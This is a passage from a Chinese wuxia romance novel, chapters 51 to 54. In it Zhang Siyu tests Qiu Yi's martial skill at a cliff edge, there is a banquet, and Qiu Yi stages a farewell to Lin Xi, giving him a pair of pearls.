“再不回去,田姑娘又该与你赌气了。”邱怡又道。
轩辕夏道,“弟弟这不是来请姐姐同与我一道回去吗?”
邱怡微微摇起头,“我与夏小五待得自在,与轩辕夏、张司宇却不是那么自在。”
轩辕夏可怜巴巴道,“我们贵族公子也是人,总不好让弟弟跪下来求你去吧?”
邱怡脸色一转,“男儿膝下有黄金,哪有说跪就跪的?”
邱怡头次同自己说这般生疏的话,轩辕夏憋急得紧,“随我去,在邱姐面前,弟弟永远是夏小五。”
邱怡舒缓了些,可众人对自己莫名的靡靡笑音,犹在耳畔,问道,“你告诉我,适才为何大家那般笑我。”
“这……”轩辕夏不知该如何张口,“等你许了人家,有了夫婿,自然就知道了。”
见适才甩下的张司宇等人正向二人步来,邱怡催促道,“我还是不知,你快说清楚明白。”
种种不堪的画面浮现眼前,轩辕夏的脸腾地红起,“说不清楚的。”
邱怡反道,“那你就尽量说的清楚些。”
“山生野长,不知廉耻。”追上二人的张司宇突训道。
邱怡目色一沉,赌气道,“恃强欺弱,难道就不有失身份吗?”
林兮等人顿惊,不知邱怡与张司宇有何愁怨,对他说话这般带刺。
张司宇一向容不得半声质疑,何况,适才暗中偷袭轩辕夏的明明是段千秋,张司宇不过是出手相帮,为何邱怡要说他是恃强欺弱?
51. 爱恨交织死生一念
林兮上前,说合道,“邱怡,刚才司宇兄出手,是为救夏公子。”
邱怡绕过林兮,走到张司宇身前,“张司宇,你听仔细了,邱怡便是邱怡,从不是轩辕夏的什么人,更不会因他姓轩辕,就去趋炎依附。”
张司宇盯着邱怡的眼睛,怒中散射着不甘与不满。邱怡只是表明自己的立场,但却再戳到张司宇的痛处,他在白陵得到的一切,都来自皇子们的暗助。
这个昨日才相识的女子,好像生来就在自己的对立面,她的话总能不偏不倚映射到自己的痛点。
张司宇想与梁功长划清一切界限,邱怡偏偏成了救治梁功长夫人的医者;张司宇想拉拢姚远舟,要林兮娶了他的女儿,邱怡偏偏是林兮的心上人;张司宇为了得到白陵大权,不得不忍着唾骂声,去仰仗皇子,邱怡又偏偏告诉自己,她不会趋炎依附皇室子弟。
难道堂堂张司宇,论说志节,连这小女子也不如?
张司宇本可以说句“误解”,可却不愿为这位小小女子放下身份,更不知自己这一稍稍的“低头”,这位小小女子又会无意说出什么样的话捅到自己的肋叉。
“天作,三叔,你们先行一步。”张司宇缓缓盯向邱怡,“邱姑娘,请借一步说话。”
轩辕夏与林兮未放在心上,可楚英的心却莫名为邱怡揪了起,他太熟悉这个场景了。在白陵,张司宇不知扫除了多少异己,他武功高强,单打独斗从无对手。“张司宇,你也是知廉耻的人,这么带走邱姑娘不好吧?”
邱怡听出示警,面上岿然不动,实际头皮瞬地麻了。
楚英看邱怡丝毫没做反应,又怪声暗示道,“张司宇,我和天作还等着向邱姑娘敬酒了,你可别让人有去无回呀?”
张天作喉咙紧缩,好像明白了什么,紧紧视向张司宇,“二哥,邱姑娘与白陵素无瓜葛。”
“我只是与邱姑娘叙几句话而已。”张司宇自明道。
邱怡听到自己的心跳声在耳边轰鸣如雷,乱得几乎喘不过气。自己珍贵的生命,在张司宇眼中,如草芥,如敝屣。“林兮,我房内有一月白荷包,里面是我要送你,敬贺授衣结业之物。如果今晚没见到我,请你自行去取走吧。”
“你说什么呢?”林兮惑道。
邱怡垂眸,“我就是想今日给到你,万一我回的迟了,过了子时,就是明日了。”
邱怡随张司宇走向僻处,不舍回眸一望。
二人停至一孤崖边,邱怡瞟眼向崖下望去,虽未有垦岭的峭壁千刃,但幽谷茫茫,令她心悸,不甚失足落入,怕也不会有人去到深幽莫测的谷底寻回尸身。
张司宇缓缓掏出腰间春和扇,听张天作等人脚步远去,听方圆无甚人声。手中纸扇陡然奔去,邱怡徒手正抓,扇骨滑转而出,邱怡点起双脚,左腕为轴,整个身子随扇凌空旋了一周。
“峰回路转。”张司宇念道,邱怡所用,是探花截梅手的一路擒拿招式。
张司宇虽以扇为器,用的招式却与张天作演奏琴剑时所用的剑法同出一宗,只是他的出招,却不像昨晚一般杀气腾腾。
邱怡左腕旋圈,出手探向张司宇的春和扇,才要握住,张司宇收臂将摺扇稍稍一退,邱怡的手与扇头又隔开半拳空距。她咬了咬牙,横前两步,再向扇掠去,张司宇微转手腕,出扇迎击,邱怡被震得踉跄后退几步。
“追星赶月。”张司宇缓缓道,“算上昨夜的探花爪,把你懂得功夫尽使出来吧。”
邱怡怔了怔,瞬间明白了,张司宇是在试探自己的武功,才许自己这般与他过招。
自己的探花截梅手纯属杂学,是轩辕夏与自己城外骑马无所事事,教自己来打发时间学来的五路擒拿招式,至于四路爪法,更是见徐阳练功时,仿着模样按图索骥。
邱怡左腿屈膝,右腿挺直,手作爪状俯身探向张司宇,近身时,伸出双手,疾爪速出。
张司宇识出这招形似“拔草寻蛇”,咣,咣两扇,邱怡指节撞的生疼。皱眉抬眼,小眼神如怨如泣,似是在默诉张司宇不懂何为怜香惜玉,而张司宇只是一脸肃色,等着自己再度出击。
邱怡骤回过神,心生一计,张司宇腰间藏有软剑,若自己用“天外摘星”攻其腰处,出其不意夺来软剑,再以软剑攻其不备,岂不打他一个措手不及?但又连连暗叹两声,不行不行,如果二哥只为试我功夫,并无杀我之意,那我一旦亮出张家剑法,才真将投鼠忌器。
邱怡五指空悬,臂似游蛇,再向张司宇袭去,一把抓助张司宇右臂,却见自己肘处却被反手拿住。
张司宇悠悠叹道,“毒蛇吐信,这招练得,还不如你的轻功到家。”
邱怡肘端外撞,任如何拽力,胳臂始终被张司宇牢牢攥住,反观自己,仿佛是被张司宇揽入了怀中,奈何挣扎,都难逃出他的手掌心。邱怡肘处的挣扎,使得她的身子也随之摇晃,视线亦在张司宇一身银白衣衫的上身游摆,挺伏的胸膛,流畅的腰线,还有,腰间微微露头的剑柄,正在她左手边处。
邱怡的目光锁定了剑柄,剑柄距离左手不过寸距,一旦松开张司宇右臂,转瞬就可够到,即使是更为娴熟的右手,也有极大希望抢在张司宇前,够到剑柄。
是腾出左手偷袭,还是用右手搏杀?她咬了咬牙,心道,只好赌一赌了。
“我只求活命,是你逼人太甚。”邱怡愤愤喝道。
张司宇顿感,拽在右处的指力忽然没了,移目瞧去,邱怡左手正移向腰间的软剑,张司宇右手一松,前臂在空中画了半圈,绕向邱怡胸处,震心一掌。
避无可避,瞬被弹出五六身位,力道凌厉的一掌,拍得邱怡心间阵阵剧痛,落地后,身上未去的惯劲儿仍带着她的身子倒步后摆,以卸猛劲儿。
身后的风愈加清旷,这股久未卸尽的惯力,即刻将自己带向崖外,而她,却只能顺势随去。
张司宇看那青衫女子失衡趄步退向崖际,竭力站定的纤身仍幌幌失控,崖处余雪未融,稍稍打滑,便一跌入渊。她虽暗怀武功,但探花截梅手打的有形无神,不得精要,莫说与自己比较,便是在轩辕夏面前也是班门弄斧。
须臾前她的手虽试图夺剑偷袭,若是换做一位惯用剑的人,还不等自己发觉就可将软剑抽出。无论是江邑还是凤临,都不会派这样身手的人做谍,甚至她
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对男女之事一无所知,显然未得过系统训练。
即使邱怡明言自己不会去白陵,张司宇也不得不防范这是邱怡在“以退为进”。如果她真的是要潜入白陵内部的人,不说要如何潜行匿迹,最起码,她不会对自己数度说出刺耳话语引起注意,最起码,此刻的她危命旦夕,再不露出全部功夫就将坠崖下。
一双大手忽抓回那摇摇欲坠的青衫女子,张司宇拉住她的衣角。
“得罪了。”
她秀发飘扬,眸中仍闪着惊惧。
他一双有神剑目中,杀意遁形,终舍得投出一丝真诚。
邱怡强忍屈泪,思绪凌乱,用着半副玩笑的口吻道,“你也没那么喜欢杀人啊。”
“我不能拿白陵的安危开玩笑。”张司宇肃声道。
邱怡嘴唇微微下撇,眼神湿润,一副楚楚可怜又抵不屈挠的模样。
张司宇知道这女子不松牙口,性子却是坦落,她在乎的,是生死。低沉道,“明日你就离开林兮吧。我答应你,只要你不介入他的婚事,乱我白陵大局,我就不伤他性命。”
“你若食言呢?”邱怡质问道。
张司宇轻蔑淡笑,缓缓将扇折页对整立入腰间,理了理襟领,展开双臂,对着身前的邱怡,像是大鹰在扑弄小鸡,“那便要看,你能奈我何了?”
“今晚,我约林兮在此处,无论我编什么样的理由,都不会让林兮再有半分心思。”邱怡的声音隐忍而低沉,像是从喉咙间,硬挤出似的。
张司宇手指一屏状巨岩,“我在那后听着。”
“随你。”邱怡无所谓道,既愿说明地点,是真怕张司宇不来。
啸风寒骨,打了一个哆嗦,邱怡说道,“我要去加件衣服,你要不要?”
白陵是大邺国最北之处,生于斯,长于斯,即使驰风暴雪,张司宇都单衣练枪,从无间断停歇,自不畏严寒。
“寒明心智,我惯喜风雪。”
邱怡打趣道,“放着蜜罐儿里春光明媚的日子不过,偏偏喜好风雪?”
“未经寒冬,哪知春暖。”
邱怡默住了。
二人离开了崖,张司宇尾行,邱怡回到房内,找出件烟青色素绒绣花袄套上,顺手将月白色锦袋揣入怀中。又端了一手炉,出屋但见张司宇,和他一齐去了张鹏处。
屋外便听到悠扬欢娱的琴音,屋内杯盘正盛,张天作正抚琴助兴。
张司宇前脚才进屋,张天作慌而一惊,罢手间,见邱怡也完好好地随在二哥身后,转又一喜。
林兮迅即迎去,问道,“怎去了这么久?”
邱怡捧炉凝目,应声道,“雪后寒凉,我回屋加了件衣。”随后扫了一眼,堂中仅一大桌席,确无宴会之象。未居正中的城阳公主,强颜中尽是一副屈尊之态。但一双眸子确像是发现什么瑰宝似的,始终停驻向陈雅安,如萌了根,落了魂般。
“邱姑娘,公主殿下与我已有言在先,今日是为私宴,不必拘尊卑之礼。”张天作道。
邱怡眉色一暖,她知张天作最是贴心之人。
“快去吃些热肉暖暖身子。”林兮关切道。
52. 孰共白陵上将肩
邱怡随林兮引座,楚英亦端来酒壶,轩辕夏急忙拦道,“楚大哥,邱姐喝不了酒的。”
“不喝就是不给我面子。”楚英热情招呼道。
轩辕夏介绍起邱怡头次喝酒的事,“不是面子的事,我娘配过方暖身药酒,说寒冬时节饮下,强身健体最好不过。邱姐她,才喝了小半碗,脸就醺得跟火红炉子似的,还开始骂人了。”
邱怡遮住杯口,辞让道,“确是如此,我以茶代酒就好。”
楚英不再多劝,改换茶水,为邱怡斟上,倒茶的功夫,看着这位文静的姑娘,随口问道,“你都骂些什么了?”
“离什么恨如春,草更,行更远,更还生。”轩辕夏拗着口念道,原本抑扬顿挫的一句话,音韵全然无调。
邱怡疑望,酒后的她气驰神迷,不记言行,“我还说了这话?”
楚英同疑,话中既未指名道姓,又无问候祖辈的污言秽语,“这也算骂人?”
轩辕夏力陈道,“你是没见邱姐的语调,一字比一字声高,说话语气比要我背书的先生还要凶。我以为她是被人欺负了呢,那几天可把我担心坏了。”
林兮好像听了什么不得了的事,邱怡性子温婉,从不生气,脸上也从不见愠色,怎么喝起酒来就开始骂人了,好奇道,“你骂的是谁啊?”
邱怡自讽一笑,“我都不记着自己说过这话,怎知说的是谁?”
“好啊,阿夏。平时你念书不上心,怎么邱姑娘酒后之言记得这般真切?”田雨萝醋声问道。
轩辕夏紧地辩解道,“这不怨我,邱姐当时跟要吃人似的,自然印象深刻。幸好邱姐只骂了这一句就被徐大哥送回屋了,不然,那一晚,不知我要记她多少语录了。”
邱怡也岔言道,“田姑娘,是我酒后失言,一再惹得大家见笑了。适才田姑娘维护之情,我很是感激。”
田雨萝一时语顿,邱怡对自己无甚敌意,今日与轩辕夏又泾渭分明,对她也生了一丝好感。“举手之劳,那种人活该遇到阿夏。”
张天作闻声,也提起杯来,“林兮,邱姑娘,我敬你二人,谢你二人今日仗义出手。”
邱怡举茶代酒回道,“身无长物,唯此清茶,贺张公子结业之喜。”
轩辕夏随之提杯,“小事,张天作,你到凤临时,我代邱姐送你柄霄冶子铸的剑。”
一饮下肚后,城阳公主对武功一窍不通,更觉乏味,看轩辕夏并未佩戴那柄精美弯刀,“阿夏,你的镰月呢?”
“被人斩断了。”轩辕夏不好意思回道。
张天作与林兮霎地瞪圆双目,异口同声道,“断了?”
城阳公主质声道,“镰月乃御赐之物,何人如此胆大?”
田雨萝咳声提醒轩辕夏勿说漏了嘴。轩辕夏意会,摆摆手,遮掩道,“不提了,我心现在还疼着呢。”
邱怡转头看向他,“真是可惜了那样漂亮的一把刀,原还是御赐之物。”
林兮忽关心道,“邱怡,原来你也练武了。”
邱怡垂眸,腼色道,“小五胡乱教的。”其声丝丝幽幽,好像是怕田雨萝听了,又误会自己与轩辕夏的关系。
林兮温言道,“练练武,强健下身子也好。”
“强身?”轩辕夏嗤之以鼻,“邱姐,你可别听他的,既然练了,就得闯个名头出来。尤其是你,若是练剑,假以时日必成一等一的高手。”
邱怡听着都十分不好意思,勉色道,“小五,你又说笑了。”
教授邱怡探花截梅手时,察出邱怡手具剑意,是可造之才,常出言相劝,却都被邱怡视作玩笑。
轩辕夏环视一桌,张司宇、张鹏、张天作,用剑高手比比皆是,搓了几下鼻头,“你还是不信?这样,你比划两手,让张世叔瞧瞧。”
张司宇闻轩辕夏要邱怡舞剑,猜忌再起,适才崖间,百般试探邱怡的功夫,不惜一掌将她逼向崖见,坠崖旦夕亦不见她用出其他功夫,才勉强相信她只是学过几招不入流的功夫,才勉强相信昨夜她于一片漆黑中戳进自己要穴是误打误撞。
难道适才在雪崖,邱怡不惜冒着跌落崖底的风险,佯装出不精武功,是假象?
邱怡余光瞥见张司宇审来的异色,紧绷着心,好像自己的咽喉,又被一只旁人看不到的手紧紧攥着。
“瞧?瞧什么?”
她佯作无事似的,驳道。
轩辕夏笑言道,“自然是瞧瞧你有没有练剑的根骨。说了几次你都不信,始终不肯与我学剑,张世叔是用剑好手,司宇哥更是,他二人看不走眼的。”
邱怡不以为意道,“瞧了后呢?”
“如果你真是练剑之才,我就请爹爹与大首座打声招呼,让你拜在张世叔名下,跟他学习剑法。”轩辕夏大招大揽道,“然后,我再送你一柄霄冶子师尊打的剑,如何?”
邱怡瞟了他眼,“弟子未必不如师,师未必强于弟子,何况,我从没想过拜谁为师。”
张鹏笑而不语,难道自己座下又要被加塞进“关系户”了?
“张世叔,你别笑。”轩辕夏卖好吹嘘道,“别看邱姐没正式练过功夫,但收了这样的徒弟,我敢保证,来日她一定会是你门下最出色的徒弟。”
张鹏好奇道,“此话怎讲?”
“听过教学相长吗?”轩辕夏自得道,肚里墨水不多,难得说出句成语,本以为自己可以卖弄一番,却瞧着林兮等无人回问他何为“教学相长”。为自己圆场道,“我本也是闲来无事,才教邱姐的,不想经过邱姐的指点,我的探花截梅手竟比她修进的还多。”
张天作顿时提了兴致,“有趣,邱姑娘如何指点你的?说来听听。”
终有人捧场,轩辕夏更是得意道,“邱姐是左撇子,我用右手比划,她说瞧得不够真切,让我用左手为她演示擒拿手。”说着还兴奋举亮出两只大手,十指抓屈,“你猜怎的?教完邱姐后,我这左右手竟可同时用出探花截梅手了。”
张司宇微抽着不惯用的左手指,心感,这小子天赋当真高,若要我同用二手,不仅左手不惯,可能也会分神误了右手出招。
邱怡自笑不已,“闲言胡说几句罢了。”说着,暗自搓起右手两指。
为了掩盖昔日痕迹字迹,凡事已改用了左手,写字是,练武亦是,这番转变也令她下了不少功夫。
轩辕夏笑逐颜开,“邱姐,我有预感,如果你练剑,他日或许可跟弟弟成为五尊,六尊,也不一定。”
邱怡见这傻小子越说越是云外,越讲越是没边,“想做五尊还不简单?”朝张司宇方向递出眼色,“张司宇就坐在这儿,枪王都是他手下败将,你赢了他,莫说位列五尊,怕是五尊之首都不为过。”
张司宇正神扬气傲地轻阖眼皮间,轩辕夏
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忽而厉声,“枪王如何?江湖外的高人多了,有些人,怕是我那醉师父都未必有必胜的把握。”
城阳公主道,“阿夏又说大话了,醉大师的酒后谦言,你竟还当了真。”
张天作道,“公主明鉴,家父亦常言,高手过招,高下往往在于分厘。若是在最为焦灼难分的时候,忽然使出秘藏的绝招杀招,胜负确犹未可知。”
张司宇不甘示弱道,“天作,无论何样的杀招绝招,二哥也自信,应对裕如。”
轩辕夏不置可否。一直视为秘密绝招的“天地不容”,顷刻间就被张之合化解,若是遇到张司宇,怕也是无二致的。
见轩辕夏噤声不语,张鹏忽道,“朱阳世子,我考究考究你,如果你能在四尊之外,说出一位可与司宇比肩的大侠来,只要司宇点头自认,我便传你一路掌法,如何?”
“是今日司宇哥打出的那掌吗?”轩辕夏问道。
张鹏捋须摇头,“虽比不得回龙功,但对上奔雷拳,绝不落于下风。”
轩辕夏听着都美,笑道,“那我可就真说了?”
张家剑法,天下至尊,回龙功又是霸力威猛第一刚阳内家功夫,张司宇不仅身兼这两门顶尖武学,手中还握有一杆可加持战力的冲云枪,要说出一位可胜他的人,难如登天。
张鹏微笑点头,“世子请讲。”
轩辕夏嘴角轻提,“墨白城内,天作之合馆的那一剑如何?”
大出所料,无人吱语。
邱怡生怕轩辕夏说漏了嘴,审起众人神色,但见张司宇露出一副既不服气、也不甘心的神情。
轩辕夏咧嘴一笑道,“怎样?司宇哥,我说的人你打不打得过?”
见众人仍默,他又向张鹏道,“张世叔,算我说出来了吗?”
张鹏沉默。
他转问向张天作,张天作听而不语,接连问向楚英与始终未曾发过言的陈雅安,二人亦默然。
城阳公主虽不明就里,仍是附和道,“白陵少主与天作公子同得陵侯剑学真传,自是女辈之楷模。依本宫看,这一轮,是阿夏赢了。”
张司宇手紧紧攥在袖里,道,“阿夏,你有所不知。白陵张家武学修为最高者,是为战神上将。你可知今日白陵城之上将是何人?”
轩辕夏鼓着嘴,颇不服气,“我当然知道是你,但张少主,她也不差的。”但他也说不清是怎样不差,只向如军师般能言善辩的邱怡求助道,“邱姐,你来评评。”
“张座师问的是江湖大侠,张之合未曾入过江湖,自然不可作数。”邱怡不动声色道。
轩辕夏气声道,“姐,你帮谁的?”,被邱怡默默瞟了一眼,知道这是邱怡要自己乖静的眼色。他又向张司宇吼道,“司宇哥,你认不认嘛?”
邱怡凝眉深思起来。她知轩辕夏向来不轻易言败,若不赢了张司宇,怕终将牵出那晚已在天作之合馆内见过张之合一事,而后,不知又将生多少祸端。
“阿夏,我无心冒犯少主。”张司宇肃声道,“只是幼时,我时常与少主比武,她虽偶尔胜我一招半式,但也非常态。若你定要讲她武功在我之上,我实心口难服。”
一招半式,邱怡恍有所悟。
棋道之玄妙,在于对全局的把控,无论对手如何走招落子,只要尚在自己推演之中,就不会失序乱下阵脚。这,才是高手中的高手。
53. 道珍重
轩辕夏正欲言辩,但看邱怡神凝的眉眼中闪出一道灵光般的亮色,便任着她率先发声。“张司宇,私里比试又何能与真正的对决同语?你又怎知是张之合没有让你?这样好了,我说个人出来,定叫你心服口服。”
“我知姑娘口齿伶俐,舍妹若真有那一日,我倒期待。”张司宇回道,“可对未可知之事,姑娘你还是省些口舌吧。”
邱怡淡淡回道,“剑仙酒神,枪王巫后,虽是武林之巅,但不代表这巅峰之上,仅这四人而已。你虽侥幸胜了枪王,但也不意味你是唯一可凌于四尊之人。我识一人,以他之修为,绝不在你之下。”
张司宇道,“洗耳恭听。”
“小次山掌门,梁功长。”
张司宇蔑笑,“姑娘何以认定?”
“梁掌门出手,向来只胜人半招。怕是成名的江湖高手都与他打过一遍,也是如此。何况,这还没算上他的本家功夫呢。”邱怡款陈道。
张司宇倨傲不已,对着张鹏笑道,“三叔,此女当真巧言善辩。”
“不信他能胜你半招,你大可去小次山与梁掌门比比看?”邱怡反问,继而坚声道,“你若不肯去,这人就得算得。”
瞧着张司宇锥心如裂,有口难言的模样,张鹏和言道,“司宇,你不必过心,亦不必为此与邱姑娘争较,三叔教世子一掌便是。”
张鹏起身向前,左腿半屈,右臂里弯,右掌划了个圈,只听呼来三声,三掌递高,向外推开,喀喳一响,掌心正对向的一棵随声断下。
一手推下,居然有这般力气,轩辕夏两只大眼霎时亮圆。
他仿着张鹏的架势推向旁树,奈自己掌风如何送出,树干分毫无损。叹自己这股如天赐般的巨力,不及张鹏简明一掌。
张鹏随即把姿势再演了一遍,待轩辕夏再度打出时,又上前为他纠矫。
邱怡低声问道林兮,“你的师父教过你这路掌法没?”
林兮回道,“没有。我还是头次知道师父懂掌上的功夫了。”
张天作为二人答疑道,“这是行鲤登高掌,是家父所创,教给三叔耍来玩的。”
钩月下,清风寒行,张鹏正将登高掌内劲外化之法门,发掌运气之经道,细细授予轩辕夏。
张天作抚琴舒怀,楚英亦与陈雅安觥筹换盏,二人都是一副千杯不倒的态势,城阳公主在旁看得不亦乐乎。
林兮瞄见,邱怡正羡看楚英与陈雅安传杯送盏,“听说白陵人都是量如江海。”
邱怡勉笑,有意轻咳了一声,张司宇眸珠转来。
邱怡取出怀中的月白锦袋,“林兮,随我来,瞧瞧我为你备的贺礼。”
林兮感觉自己的心正在膛下怦怦加速急跳,如同有架小鼓提醒自己,心底的情感即要涌动。念起轩辕夏说要送邱怡一柄霄冶子师尊所铸之剑,醋意又起,提着左枝剑便随她而去。
邱怡缓身起行,林兮好像是她身后的提线木偶,任她向哪儿走,他都不做思考的跟随。
陈雅安与楚英目送二人,见张司宇随后也告了退。
楚英不忘巴拉句,“不是去听墙角了吧?”
出张鹏舍门,行过钟灵山回廊,穿过江心学宫正厅楼,一条蜿向后山的小路,静谧的夜声,未褪尽的雪色,一切都是那么刚刚好。
狼牙月,锁寒冬,僻峭崖,心难宁。
邱怡瞅了瞅屏风样的岩石后,壁上暗映半身人影,开口道,“林兮,你喜欢满月,还是残月?”
月是同一轮月,无论满缺,都有人赏。
人是同一个人,但众人欣赏的方面哪会相同?
林兮慌乱,他与邱怡相交,是为她才华所引,轩辕夏胸无点墨,也能与邱怡成为朋友,是二人脾性相投。“本是同一轮月,不过每逢十五珠如盘,一见月尾便作牙。”
林兮的话进了张司宇的心扉,感念林兮的纯粹,即使对着一钩残月,心中仍是记着月满亮如珠盘的时候。
比起现在,他也更欣赏过去那个纯粹的张司宇,那个光明鲜亮的少年郎,心花怒放听人赞扬自己是如何天纵英才、如何才华横溢。即使,很多都改变了,但张司宇活在阳光下的模样,除了自己,幸而还有林兮会提及。
邱怡心触,“我喜欢残月,每进一日,便可圆上一分。惜人不如月,难有成序的阴晴圆缺。”无意望向屏石后黯黯垂首的颀影,又轻笑道,“瞧,我这自怜的毛病又犯了。”
那年中秋月下,她就这般楚楚怜情,眸光清亮,更盛月色。
林兮心如鼓点,仿佛即溢出胸膛,鼓足心气,说道,“你,你还记着吗?我想我的身边,一直都能有你的影子。”
“记着,是三年之约。”邱怡淡淡道,憾凝着林兮微微颤触的唇角,“抱歉,恕我不能陪你同行了。”
林兮明显一怔,眼睛溜圆,可眶中却失了焦心,沉浸在一片不可思议中。思绪急速翻旋,仿佛在寻找丝缕痕迹力证此时此瞬的真实。“为什么?因为……朱阳世子吗?”
“不是。”
林兮恍惚又道,“难道,是天作?”
邱怡愣在了那里。
林兮看她审来的目光尤其坚厉,只觉自己犯傻失言,虽见邱怡与张天作相处融洽,但二人所在的身门有如天堑。
听邱怡轻声坚质道,“你可真敢想。”
林兮自责,转口问出,“那是为什么?”
“实不相瞒,我也有意离开清农,回我来的地方了。”邱怡再度淡淡道。
林兮难信将疑,“你家中不是没有人了吗?怎还要回去?”
张司宇闻声,心中闪过一道凄凉。原她是孤女,难得遇见林兮这般真心可付的男子,却被我棒打鸳鸯。
忽又听邱怡轻轻的说了句“但还有门亲事在”,张司宇才舒缓些许。
林兮不相信自己听到了什么,磕巴道,“亲……亲事?”
张司宇久候,都并听到邱怡回应之声。邱怡今日对自己说会向林兮编个由头,让他对自己死心。这门亲事,八成就是她编出的由头。
邱怡小心翼翼取出怀中的锦袋,掌心托着袋口,两颗珍珠滚落而出。
当年下万仞山,她准备抛下一切钗饰时,就对这两颗珠子呆望好久,终是留了下来。
纤嫩指腹轻轻掸亮珠面,凝思良久,开口道,“我身无长物,唯这副明珠了。”
她又低低深沉道,“这些年我一直没攥够银两,还当年你为我买马的银两,今日就把这副珠子抵给你吧,你可以把它,当作是我的影子。”
张司宇轻掩过石面,定睛远眺,见她手上的那副被邱怡称为“明珠”的珠子,径如拇指宽,光色非海
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所泽,对见惯斛斛溢彩奇珠的他而言,遑论尺寸还是色泽,那两淡白的小珠,横看竖看都甚是平常。
林兮不顾邱怡岔开的话,追声道,“你还没回答我,是门什么样的亲事?”
“他人挺好的,憨厚,仗义,为人更是十分忠耿,热情。”
邱怡有搭没搭说着。
林兮愤愤酸起,自己对她,哪一点不是憨厚仗义,哪一处不是忠耿热情?比起这些,邱怡一言一行好像都可以揪住自己的心,三年来,时刻牵挂着邱怡的病情,那个所谓热情的人,他做得到吗?
“为何你孤身到清农多年,都未见他来寻你?”
邱怡喉里像噎住了,顿顿道,“我走的仓促,他应是不知我去了何处。他若是知道,必定来云间寻我。”
林兮心倏地一跳,不忍再究。见邱怡奉着那双润泽的珍珠时,神情小心翼翼,视之有如至宝,问道,“这对明珠,是他送你的?”
“不是,是我的一个朋友。”邱怡回道。
林兮心下又来一道酸涩,朋友,朋友,轩辕夏一个还不够,她究竟还有几个我不知道的朋友?转瞬又念,是不是我太顾注目她的才华,其实,我并不了解真正的她。
邱怡视了视钩月,缓口开言道,“他和你一样,是心存高远的人,今日将这副珠子送你,希望你今后在白陵,可像他那样,一展鹏翅。”
林兮心慰,却推回她奉着明珠的纤手,“别人送的东西怎可转赠旁人,你那朋友知道了,定会伤心的,你收回去吧。”
邱怡眸中划过一丝失落,低视双珠,眼皮一阖一跳,睫羽一闪一扬。痛声道,“物是人非,我不想再对着这副珠子睹物思人了。”
“你便狠心让我睹物思人吗?”林兮轻责说。
邱怡望着林兮,目光甚是急切,盼他快些理解。转而又将两颗珍珠塞入月白荷袋,掏出针线,密密缝锁住袋口。自言自语道,“这样,就看不到了。”
林兮看着她穿针引线的模样,一针一线,如同曾对白马河川的抚触一般,还是那么舒缓柔和,专心凝注。即使不慎刺到指尖,也毫无痛应,只轻咬着唇继续密缝,不忍再拒她。“还君明珠双泪垂,恨不相逢未嫁时。是这个意思吗?”
不算是,但应景。
邱怡开口道,“还有几言要赠你。”说罢,折枯枝作笔,寻至片雪稍稍厚的空地,横平竖直,在空白雪处飞划开来。
林兮上前去瞧,看后只留下了句,“我知道了。”
时人不识凌云木,直待凌云始道高。【1】此双珠乃昔年挚友相赠,吾之友,汝二人,皆乃鸿鹄浩志之男儿,盼佳期至,如此双珠般,月辉日耀。一身抱负,有所作为。凌云光天,鹏振万里。
语罢,伸手抹划着雪里邱怡的留字,要过邱怡手中的断枝,在雪上一横一竖,一撇一捺,重新留下一行山字。
邱怡默凝地字,“我晨起就走,此刻,便做道别了。”
林兮将月白荷包揣入衣怀。
我本将心向明月,奈何明月照沟渠。【2】
只要她说声愿意,去了白陵,她便不用再去过那需要辛苦计算一银一两的生活了。
林兮转身离去,路上光景如忆,一步一行,甚是沉重,春棠花雨,清秋月夜,孤崖两诀,每一个落下的脚印,都在和过去道别。
54. 草木人决毅
林兮走远后,张司宇的身子缓缓从石后现出。
邱怡端视着雪间行字,涩声问道,“你说他信了吗?”
张司宇目光掠向邱怡身后,雪面残迹上,浮着“相忘于江湖”五个大字。
回道,“信了。”
“你呢?”
邱怡又冷冷问出一句。
“不信。”
邱怡锁眉,“为何?”
张司宇手指敲点着腰间扇头,“若真有这门亲事,你早嫁了,何必去到清农?”
邱怡颔首,叹了口气道,“我这些小伎俩还是瞒不过你这双金睛,还好你看的只是结果。”
“有了结果,便可将过程忘了。”张司宇安慰道。
邱怡阖眼,“你当是草木吗?”
张司宇并非无情之人,只是他逼得自己的心不得不狠下来,一点点变硬,一点点麻木。“赠你一言,较之生离死别,断爱绝情无甚大事。较之死别,生离亦无甚大事。”
邱怡忆起故去的父亲,苦笑间,又似笑非笑,“受教。”
邱怡不知再说些什么。
林兮,如暖阳一般的少年,在茫茫天地间,即使身边再无亲故,却仍有人真心待自己。
她轻吟道,“我走了。”
“一道下山吧。”
张司宇与邱怡同住在客苑,二人房间挨近。
邱怡玩味问道,“我是说,我要回小次山了,你要跟我一起?”
张司宇诧异,“这是山路,深夜行马,你就不怕遇到危险吗?”
“比起被人追杀暗算,夜路没什么可怕的。”邱怡漠着声道。
张司宇暗赞,邱怡的机勇确是少见。与自己对招,即使武功不敌,毫厘片刻却能想出应对。可惜她不是知根知底的白陵人,不然,他也可将邱怡驯成一既桀骜又死忠的手下。
邱怡并非真需那么快离去,只是张司宇说要她明日离开江心学宫,逆鳞难顺,才想着在子时来前,在明日到前,远离这是非之地。
“等等。”
张司宇喊下转身离去的邱怡,此刻他也想赌一把,邱怡只是林兮纯纯粹粹的心上人,不是江邑的细作,不是太子的眼线,“我问你,如果我没有出现,你想不想与林兮去白陵?”
张司宇的出现,确令她团团恨生,却未料他肯放下那高高的架子和派头了,肯舍弃他的睥睨众生。
邱怡心喜,却冷着声道,“世间从无如果。”
“受教。”
张司宇坚声回道,就像方才她的回应一般。
月下崖边,银身一影,在留字间独立,“相忘于江湖”五个大字就在脚下,“直待凌云始”之残迹亦存。
须臾间闪出的恻隐,觉自己好像做了一场梦,他已经许久没有无缘由地关心过一个人了,更许久没有人关心过自己。自居任副主后,他所做每一件事,都带着目的,就如他言,他看的是结果。
情、义、声、誉,他不断舍弃着曾经生命中珍贵的东西,在奔向结果的路上,一个绝情寡义、声名狼藉的人,呼之欲出。
他告诉林兮,有你一人懂我,我活得就还有些意义。也许是林兮可以感知到自己丝鲜尚在的情义,也许林兮永远记得住,张司宇鲜衣怒马的模样。
“风雪压我两三年,我笑风轻雪如棉。【1】”
“无人扶我青云志,我自踏雪向山巅。【2】”
正下石阶的邱怡,听到崖处传来张司宇彻耳的苍声,视线恍惚间,张天作带着楚英与陈雅安已是候良久。
邱怡惑道,“张公子?”
